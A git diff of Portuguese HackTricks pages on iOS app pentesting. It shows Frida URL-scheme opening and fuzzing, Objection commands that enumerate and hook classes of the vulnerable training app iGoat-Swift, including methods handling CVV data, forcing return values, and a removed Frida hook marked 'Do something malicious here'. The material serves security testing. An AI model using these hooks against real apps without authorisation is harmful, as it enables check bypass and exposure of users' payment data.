||||
|
||||
[iPhone::iGoat-Swift]-> function openURL(url) {
|
||||
var UIApplication = ObjC.classes.UIApplication.sharedApplication();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return UIApplication.openURL_(toOpen);
|
||||
}
|
||||
[iPhone::iGoat-Swift]-> openURL("tel://234234234")
|
||||
true
|
||||
```
|
||||
[iPhone::iGoat-Swift]-> function openURL(url) {
|
||||
var UIApplication = ObjC.classes.UIApplication.sharedApplication();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return UIApplication.openURL_(toOpen);
|
||||
}
|
||||
[iPhone::iGoat-Swift]-> openURL("tel://234234234")
|
||||
true
|
||||
```
|
||||
|
||||
Neste exemplo do [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/), o autor usa a API não pública `LSApplicationWorkspace.openSensitiveURL:withOptions:` para abrir as URLs (do aplicativo SpringBoard):
|
||||
Neste exemplo do [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) o autor usa a API não pública `LSApplicationWorkspace.openSensitiveURL:withOptions:` para abrir as URLs (do aplicativo SpringBoard):
|
||||
|
||||
```javascript
|
||||
function openURL(url) {
|
||||
var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return w.openSensitiveURL_withOptions_(toOpen, null);
|
||||
}
|
||||
```
|
||||
```javascript
|
||||
function openURL(url) {
|
||||
var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return w.openSensitiveURL_withOptions_(toOpen, null);
|
||||
}
|
||||
```
|
||||
|
||||
> Observe que o uso de APIs não públicas não é permitido na App Store, é por isso que nem mesmo testamos essas APIs, mas podemos usá-las para nossa análise dinâmica.
|
||||
> Observe que o uso de APIs não públicas não é permitido na App Store, é por isso que nem testamos essas, mas estamos autorizados a usá-las para nossa análise dinâmica.
|
||||
|
||||
## Fuzzing de Esquemas de URL
|
||||
|
||||
Se o aplicativo analisa partes da URL, você também pode realizar fuzzing de entrada para detectar bugs de corrupção de memória.
|
||||
|
||||
O que aprendemos acima pode ser usado agora para construir seu próprio fuzzer na linguagem de sua escolha, por exemplo, em Python e chamar o `openURL` usando o [RPC do Frida](https://www.frida.re/docs/javascript-api/#rpc). Esse fuzzer deve fazer o seguinte:
|
||||
O que aprendemos acima pode agora ser usado para construir seu próprio fuzzer no idioma de sua escolha, por exemplo, em Python e chamar o `openURL` usando [RPC do Frida](https://www.frida.re/docs/javascript-api/#rpc). Esse fuzzer deve fazer o seguinte:
|
||||
|
||||
* Gerar payloads.
|
||||
* Para cada um deles, chame `openURL`.
|
||||
* Verifique se o aplicativo gera um relatório de falha (`.ips`) em `/private/var/mobile/Library/Logs/CrashReporter`.
|
||||
* Gerar cargas úteis.
|
||||
* Para cada uma delas, chamar `openURL`.
|
||||
* Verificar se o aplicativo gera um relatório de falhas (`.ips`) em `/private/var/mobile/Library/Logs/CrashReporter`.
|
||||
|
||||
O projeto [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) oferece dicionários de fuzzing que você pode usar como payloads.
|
||||
O projeto [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) oferece dicionários de fuzzing que você pode usar como cargas úteis.
|
||||
|
||||
## **Fuzzing Usando Frida**
|
||||
|
||||
Fazer isso com o Frida é bastante fácil, você pode se referir a este [post de blog](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) para ver um exemplo que faz fuzzing do aplicativo iGoat-Swift (funcionando no iOS 11.1.2).
|
||||
Fazer isso com Frida é bastante fácil, você pode se referir a este [post do blog](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) para ver um exemplo que faz fuzzing no aplicativo iGoat-Swift (funcionando no iOS 11.1.2).
|
||||
|
||||
Antes de executar o fuzzer, precisamos dos esquemas de URL como entradas. A partir da análise estática, sabemos que o aplicativo iGoat-Swift suporta o seguinte esquema de URL e parâmetros: `iGoat://?contactNumber={0}&message={0}`.
|
||||
```bash
|
||||
|
@ -183,16 +181,14 @@ Opened URL: iGoat://?contactNumber=0&message=0
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,57 +1,282 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Para esta seção, a ferramenta [**Objection**](https://github.com/sensepost/objection) será usada.\
|
||||
Comece obtendo uma sessão do Objection executando algo como:
|
||||
Para esta seção, a ferramenta [**Objection**](https://github.com/sensepost/objection) será utilizada.\
|
||||
Comece obtendo uma sessão do objection executando algo como:
|
||||
```bash
|
||||
objection -d --gadget "iGoat-Swift" explore
|
||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||
```
|
||||
```markdown
|
||||
Você também pode executar `frida-ps -Uia` para verificar os processos em execução no telefone.
|
||||
|
||||
# Enumeração básica do aplicativo
|
||||
# Enumeração Básica do Aplicativo
|
||||
|
||||
## Caminhos locais do aplicativo
|
||||
## Caminhos Locais do Aplicativo
|
||||
|
||||
* `env`: Encontre os caminhos onde o aplicativo está armazenado dentro do dispositivo
|
||||
|
||||
```bash
|
||||
env
|
||||
```bash
|
||||
env
|
||||
|
||||
Name Path
|
||||
----------------- -----------------------------------------------------------------------------------------------
|
||||
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
||||
DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||
```
|
||||
Nome Caminho
|
||||
----------------- -----------------------------------------------------------------------------------------------
|
||||
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
||||
DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||
```
|
||||
|
||||
## Listar pacotes, frameworks e bibliotecas
|
||||
## Listar Bundles, frameworks e bibliotecas
|
||||
|
||||
* `ios bundles list_bundles`: Lista os pacotes do aplicativo
|
||||
* `ios bundles list_bundles`: Lista bundles do aplicativo
|
||||
|
||||
```bash
|
||||
ios bundles list_bundles
|
||||
Executable Bundle Version Path
|
||||
------------ -------------------- --------- -------------------------------------------
|
||||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||
```
|
||||
* `ios bundles list_frameworks`: Lista os frameworks externos usados pelo aplicativo
|
||||
```bash
|
||||
ios bundles list_bundles
|
||||
Executável Bundle Versão Caminho
|
||||
------------ -------------------- --------- -------------------------------------------
|
||||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||
```
|
||||
* `ios bundles list_frameworks`: Lista frameworks externos usados pelo aplicativo
|
||||
|
||||
```bash
|
||||
ios
|
||||
```bash
|
||||
ios bundles list_frameworks
|
||||
Executável Bundle Versão Caminho
|
||||
------------------------------ -------------------------------------------- ---------- -------------------------------------------
|
||||
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
|
||||
...vateFrameworks/CoreDuetContext.framework
|
||||
FBReactNativeSpec org.cocoapods.FBReactNativeSpec 0.61.5 ...p/Frameworks/FBReactNativeSpec.framework
|
||||
...ystem/Library/Frameworks/IOKit.framework
|
||||
RCTAnimation org.cocoapods.RCTAnimation 0.61.5 ...le.app/Frameworks/RCTAnimation.framework
|
||||
jsinspector org.cocoapods.jsinspector 0.61.5 ...tle.app/Frameworks/jsinspector.framework
|
||||
DoubleConversion org.cocoapods.DoubleConversion 1.1.6 ...pp/Frameworks/DoubleConversion.framework
|
||||
react_native_config org.cocoapods.react-native-config 0.12.0 ...Frameworks/react_native_config.framework
|
||||
react_native_netinfo org.cocoapods.react-native-netinfo 4.4.0 ...rameworks/react_native_netinfo.framework
|
||||
PureLayout org.cocoapods.PureLayout 3.1.5 ...ttle.app/Frameworks/PureLayout.framework
|
||||
GoogleUtilities org.cocoapods.GoogleUtilities 6.6.0 ...app/Frameworks/GoogleUtilities.framework
|
||||
RCTNetwork org.cocoapods.RCTNetwork 0.61.5 ...ttle.app/Frameworks/RCTNetwork.framework
|
||||
RCTActionSheet org.cocoapods.RCTActionSheet 0.61.5 ....app/Frameworks/RCTActionSheet.framework
|
||||
react_native_image_editor org.cocoapods.react-native-image-editor 2.1.0 ...orks/react_native_image_editor.framework
|
||||
CoreModules org.cocoapods.CoreModules 0.61.5 ...tle.app/Frameworks/CoreModules.framework
|
||||
RCTVibration org.cocoapods.RCTVibration 0.61.5 ...le.app/Frameworks/RCTVibration.framework
|
||||
RNGestureHandler org.cocoapods.RNGestureHandler 1.6.1 ...pp/Frameworks/RNGestureHandler.framework
|
||||
RNCClipboard org.cocoapods.RNCClipboard 1.5.1 ...le.app/Frameworks/RNCClipboard.framework
|
||||
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
||||
[..]
|
||||
```
|
||||
* `memory list modules`: Lista módulos carregados na memória
|
||||
|
||||
```bash
|
||||
memory list modules
|
||||
Nome Base Tamanho Caminho
|
||||
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
|
||||
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
|
||||
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
|
||||
SystemConfiguration 0x1aa842000 495616 (484.0 KiB) /System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguratio...
|
||||
libc++.1.dylib 0x1bdcfd000 368640 (360.0 KiB) /usr/lib/libc++.1.dylib
|
||||
libz.1.dylib 0x1efd3c000 73728 (72.0 KiB) /usr/lib/libz.1.dylib
|
||||
libsqlite3.dylib 0x1c267f000 1585152 (1.5 MiB) /usr/lib/libsqlite3.dylib
|
||||
Foundation 0x1ab550000 2732032 (2.6 MiB) /System/Library/Frameworks/Foundation.framework/Foundation
|
||||
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
||||
[...]
|
||||
```
|
||||
* `memory list exports <nome_do_módulo>`: Exportações de um módulo carregado
|
||||
|
||||
```bash
|
||||
memory list exports iGoat-Swift
|
||||
Tipo Nome Endereço
|
||||
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
|
||||
variável _mh_execute_header 0x104ffc000
|
||||
função _mdictof 0x10516cb88
|
||||
função _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c
|
||||
função _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4
|
||||
função _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8
|
||||
função _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c
|
||||
função _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20
|
||||
função _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8
|
||||
função _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4
|
||||
função _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8
|
||||
função _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8
|
||||
função _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280
|
||||
variável _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0
|
||||
variável _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0
|
||||
variável _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
||||
[..]
|
||||
```
|
||||
|
||||
## Listar classes de um APP
|
||||
|
||||
* `ios hooking list classes`: Lista classes do aplicativo
|
||||
|
||||
```bash
|
||||
ios hooking list classes
|
||||
|
||||
AAAbsintheContext
|
||||
AAAbsintheSigner
|
||||
AAAbsintheSignerContextCache
|
||||
AAAcceptedTermsController
|
||||
AAAccount
|
||||
AAAccountManagementUIResponse
|
||||
AAAccountManager
|
||||
AAAddEmailUIRequest
|
||||
AAAppleIDSettingsRequest
|
||||
AAAppleTVRequest
|
||||
AAAttestationSigner
|
||||
[...]
|
||||
```
|
||||
* `ios hooking search classes <termo_de_pesquisa>`: Pesquisa uma classe que contém uma string. Você pode **pesquisar algum termo único que esteja relacionado ao nome do pacote principal do aplicativo** para encontrar as classes principais do aplicativo, como no exemplo:
|
||||
|
||||
```bash
|
||||
ios hooking search classes iGoat
|
||||
iGoat_Swift.CoreDataHelper
|
||||
iGoat_Swift.RCreditInfo
|
||||
iGoat_Swift.SideContainmentSegue
|
||||
iGoat_Swift.CenterContainmentSegue
|
||||
iGoat_Swift.KeyStorageServerSideVC
|
||||
iGoat_Swift.HintVC
|
||||
iGoat_Swift.BinaryCookiesExerciseVC
|
||||
iGoat_Swift.ExerciseDemoVC
|
||||
iGoat_Swift.PlistStorageExerciseViewController
|
||||
iGoat_Swift.CouchBaseExerciseVC
|
||||
iGoat_Swift.MemoryManagementVC
|
||||
[...]
|
||||
```
|
||||
|
||||
## Listar métodos de classe
|
||||
|
||||
* `ios hooking list class_methods`: Lista métodos de uma classe específica
|
||||
|
||||
```bash
|
||||
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||
- cvv
|
||||
- setCvv:
|
||||
- setName:
|
||||
- .cxx_destruct
|
||||
- name
|
||||
- cardNumber
|
||||
- init
|
||||
- initWithValue:
|
||||
- setCardNumber:
|
||||
```
|
||||
* `ios hooking search methods <termo_de_pesquisa>`: Pesquisa um método que contém uma string
|
||||
|
||||
```bash
|
||||
ios hooking search methods cvv
|
||||
[AMSFinanceVerifyPurchaseResponse + _dialogRequestForCVVFromPayload:verifyType:]
|
||||
[AMSFinanceVerifyPurchaseResponse - _handleCVVDialogResult:shouldReattempt:]
|
||||
[AMSFinanceVerifyPurchaseResponse - _runCVVRequestForCode:error:]
|
||||
[iGoat_Swift.RCreditInfo - cvv]
|
||||
[iGoat_Swift.RCreditInfo - setCvv:]
|
||||
[iGoat_Swift.RealmExerciseVC - creditCVVTextField]
|
||||
[iGoat_Swift.RealmExerciseVC - setCreditCVVTextField:]
|
||||
[iGoat_Swift.DeviceLogsExerciseVC - cvvTextField]
|
||||
[iGoat_Swift.DeviceLogsExerciseVC - setCvvTextField:]
|
||||
[iGoat_Swift.CloudMisconfigurationExerciseVC - cvvTxtField]
|
||||
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
|
||||
```
|
||||
|
||||
# Hooking Básico
|
||||
|
||||
Agora que você **enumerou as classes e módulos** usados pelo aplicativo, você pode ter encontrado alguns **nomes de classes e métodos interessantes**.
|
||||
|
||||
## Hook em todos os métodos de uma classe
|
||||
|
||||
* `ios hooking watch class <nome_da_classe>`: Hook em todos os métodos de uma classe, despeja todos os parâmetros iniciais e retornos
|
||||
|
||||
```bash
|
||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||
```
|
||||
|
||||
## Hook em um único método
|
||||
|
||||
* `ios hooking watch method "-[<nome_da_classe> <nome_do_método>]" --dump-args --dump-return --dump-backtrace`: Hook em um método específico de uma classe despejando os parâmetros, backtraces e retornos do método cada vez que é chamado
|
||||
|
||||
```bash
|
||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
|
||||
## Alterar Retorno Booleano
|
||||
|
||||
* `ios hooking set return_value "-[<nome_da_classe> <nome_do_método>]" false`: Isso fará com que o método selecionado retorne o booleano indicado
|
||||
|
||||
```bash
|
||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||
```
|
||||
|
||||
## Gerar template de hooking
|
||||
|
||||
* `ios hooking generate simple <nome_da_classe>`:
|
||||
|
||||
```bash
|
||||
ios hooking generate simple iGoat_Swift.RCreditInfo
|
||||
|
||||
var target = ObjC.classes.iGoat_Swift.RCreditInfo;
|
||||
|
||||
Interceptor.attach(target['+ sharedSchema'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entrando em + sharedSchema!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Saindo de + sharedSchema');
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
Interceptor.attach(target['+ className'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entrando em + className!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Saindo de + className');
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
Interceptor.attach(target['- cvv'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entrando em - cvv!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Saindo de - cvv');
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
Interceptor.attach(target['- setCvv:'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entrando em - setCvv:!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Saindo de - setCvv:');
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,45 +1,34 @@
|
|||
# Manipuladores de Protocolo WebView
|
||||
<details>
|
||||
|
||||
Os manipuladores de protocolo WebView permitem que aplicativos iOS abram URLs personalizadas em um navegador interno. Isso pode ser usado para permitir que aplicativos acessem conteúdo da web sem sair do aplicativo. No entanto, se um manipulador de protocolo WebView for mal implementado, ele pode ser explorado por um atacante para executar ataques de phishing ou redirecionar o usuário para sites maliciosos.
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
## Verificando manipuladores de protocolo WebView
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
Para verificar se um aplicativo iOS possui manipuladores de protocolo WebView, você pode usar o seguinte comando:
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
```bash
|
||||
$ frida -U -f com.example.app --no-pause -l frida-ios-hooks.js
|
||||
```
|
||||
</details>
|
||||
|
||||
```javascript
|
||||
Interceptor.attach(ObjC.classes.UIApplication["- openURL:"].implementation, {
|
||||
onEnter: function(args) {
|
||||
console.log("[*] openURL: " + ObjC.Object(args[2]).toString());
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
Este comando usa o Frida para interceptar a chamada `openURL` do aplicativo e imprimir a URL que está sendo aberta. Se a URL começar com `http://` ou `https://`, ela será aberta em um navegador externo. No entanto, se a URL começar com um manipulador de protocolo WebView personalizado, ela será aberta em um navegador interno.
|
||||
# WebView Protocol Handlers
|
||||
|
||||
## Explorando manipuladores de protocolo WebView
|
||||
|
||||
Se um aplicativo iOS tiver um manipulador de protocolo WebView mal implementado, ele poderá ser explorado por um atacante para executar ataques de phishing ou redirecionar o usuário para sites maliciosos. Por exemplo, um atacante pode criar um site malicioso que use um manipulador de protocolo WebView personalizado para redirecionar o usuário para um site de phishing.
|
||||
|
||||
Para explorar um manipulador de protocolo WebView, você pode usar o seguinte comando:
|
||||
|
||||
```bash
|
||||
$ frida -U -f com.example.app --no-pause -l frida-ios-hooks.js
|
||||
```
|
||||
|
||||
```javascript
|
||||
Interceptor.attach(ObjC.classes.UIApplication["- openURL:"].implementation, {
|
||||
onEnter: function(args) {
|
||||
var url = ObjC.Object(args[2]).toString();
|
||||
if (url.startsWith("myapp://")) {
|
||||
console.log("[*] Intercepted URL: " + url);
|
||||
// Do something malicious here
|
||||
}
|
||||
}
|
||||
});
|
||||
```
|
||||
<details>
|
||||
|
||||
Este comando usa o Frida para interceptar a chamada `openURL` do aplicativo e verificar se a URL começa com um manipulador de protocolo WebView personalizado. Se a URL for maliciosa, o atacante pode executar um código malicioso para roubar informações do usuário ou redirecioná-lo para um site de phishing.
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,56 +1,58 @@
|
|||
```markdown
|
||||
